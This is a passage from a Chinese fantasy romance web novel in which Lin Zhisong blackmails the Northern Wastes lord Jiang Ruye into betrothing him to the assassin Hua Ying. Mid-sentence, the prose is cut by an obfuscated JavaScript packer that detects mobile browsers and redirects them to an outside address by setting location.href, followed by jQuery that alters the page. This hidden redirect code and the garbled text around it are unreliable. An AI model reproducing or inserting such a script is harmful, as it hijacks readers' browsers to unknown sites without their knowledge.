她稍稍放慢脚步,听见侍从飞快地向他禀报:“家主,青要山林之凇求见,人已在府外。” . 北乾殿。 无论四大世家背地里对彼此有多看不顺眼,明面上还是一团和气,更何况对方还是青要山少主。 殿里的侍从妥帖地奉了茶,随后垂眼侍立在一旁,自觉不多看不听。 等了半晌,江如晔终于过来了,稳健的脚步声打破了殿里这位少主无形间散发出的冷肃气氛。 他身量挺拔健硕,靠近时给人以极强的压迫感,面容却十分平和,既不失北荒领主威严庄重的气势,也不失身为长辈的从容。 江如晔大步走进殿内,一眼督见林之凇坐在椅上,偶尔看一眼寸心简的什么消息,神色松弛散漫,黑眸里落了点点滴滴从门外照进来的日光,似冰河之上有碎金游动。 不速之客,居心叵测。 林之凇听见脚步声,并不起身迎接,眼也没抬,依旧慵懒地靠着椅背,空闲的左手搭在椅圈上,手指有一下没一下地轻敲圈木,安静而孤冷等着。 直到江如晔落座于主位上,他终于朝他江如晔投去目光,声线清冽,并无客套寒暄:“我来这里,是想与江领主确认一件事。” 江如晔眼尾不自觉往下一压,难道是刺杀之事被林之凇发现了什么端倪,让他顺藤摸瓜找上了北荒? 细想,却又觉得绝不可能,华盈做事干净谨慎,从不拖泥带水,即便刺杀失败了也会仔细抹除痕迹,不给自己留下后患。 江如晔露出点惊奇的表情,笑着问:“什么大事能让林少主亲自登门?” “我想来向江领主求一门亲事。”林之凇也笑了笑,“我对江家小姐一见钟情。” 江如晔有些意外,什么一见钟情,林之凇这种六亲不认只重权势的聪明人,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14916458|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一个情字迷了眼,喜欢上一个对立阵营里的女子? 笑话。 他若是信了,北荒将来怎么覆没在林之凇手里的都不知道。 江如晔一时摸不准林之凇憋着什么坏心思,饶有兴致地追问:“林少主指的是我江家哪位姑娘?” “江璧月的妹妹,华盈。”林之凇脊背拉直,似笑非笑,念着最后那个名字时,字音温柔放缓,却又十分坚定,听上去当真带了一些让不知情者心向往之的赤诚情意。 却让江如晔心头如遭重锤轰击。 江如晔唇畔弧度往下压了压,目光变得危险,与林之凇对视数息,脸上情绪全部消失,知道他能找上江家,说明已经知道了华盈的真实身份,自己绝对没有否认或欺骗他的可能。 他嘴角绷直,脸色沉了下来,冷哼了一声,否认华盈的存在已经无济于事了,索性打开天窗说亮话:“林少主要不再想想自己刚才在说什么。北荒和青要山的关系,林少主心里应当有数,立场不同,阵营不同,你与华盈都聪慧绝顶,这门亲事若是成了,谁知对面是枕边人,还是夺命刀。” “我连她光明正大的刺杀都不在乎,怎会在意什么立场有别,暗箭难防?” 林之凇盯着江如晔骤然僵硬的表情,若无其事地继续说,“多亏了恨生蛊让我与华盈相识相知,她暂时对我有没有好感都无所谓,可我就想与她定下婚约,偏要留她在身边。江领主若是不肯成人之美,那我只好把江家双生子一明一暗和北荒领主追杀妻女的丑闻公告天下。” 明晃晃的威胁。 江如晔霍然起身,眼尾肌肉抽动不止,怒气冲天的一双眼睛逼视着林之凇,厉喝出声:“林之凇,你真是自负愚蠢!我若是你,绝不会不知死活亲自闯入北荒,在江家无上者眼皮子底下放肆!” 林之凇神色漠然,抬眼朝他投去一督,黑眸凌厉,带了点扬名在外的傲与狠,北乾殿里的空气也变得压抑而紧张。 片刻,林之凇脸上的笑意若有似无,一字一句:“江领主有所不知,我喜欢什么,青要山上下皆会倾尽全力替我争取,林家两位无上者对我钟意的女子也十分重视,我今日也是借了她的光,才头一回得到那二位的无上者之力亲临护佑。” 藏于他腰间玉佩中的两股灵光显露了出来,似潺潺清流,温顺无害,却会在林之凇需要它们的任何时刻,爆发出足以摧毁江家、与江家两名无上者两败俱伤的威能。 无上者在天地法则的束缚下,需遵守对大陆之人的承诺,不得擅自离开本家,以免因一己之私引起祸端。但他们的力量却能通过特殊之物降临外界,半刻钟。 有半刻钟的空子可钻,能通过特殊之物降临。 江如晔目光深深。 气极之后,反倒清醒了许多,他盯着林之凇那张令他厌烦的脸,心想着那便将错就错,让华盈去你青要山,搅个天翻地覆。 江如晔抓着木椅扶手坐了回去,刚才还要大动干戈的气势消散得一干二净,呵笑道:“北荒与青要山结亲是前所未有的盛事,礼数也得周全。” 林之凇眉眼线条也柔和下来,清贵优雅如月下雪,前一瞬的对峙与仇视荡然无存。 “提亲之礼我已备好,明日一早我便亲自带人给江家送来,恰好饮焰山秘境不日即将开启,我打算邀华盈明日就与我一同前往。相思之苦,还请江领主多多体谅。” 他一番话说得不紧不慢,情真意切令人深信,没得到江如晔的回应也不恼,起身往殿外走。 抬脚,忽又顿住。 “对了,我虽不在意华盈的身份地位,但还请江领主照顾她与青要山的颜面。” 端的是思虑周全,无微不至。 江如晔无声冷笑,待人走后,他召来一名荒风队将士。 “去查查华盈在林之凇身边究竟做了什么。”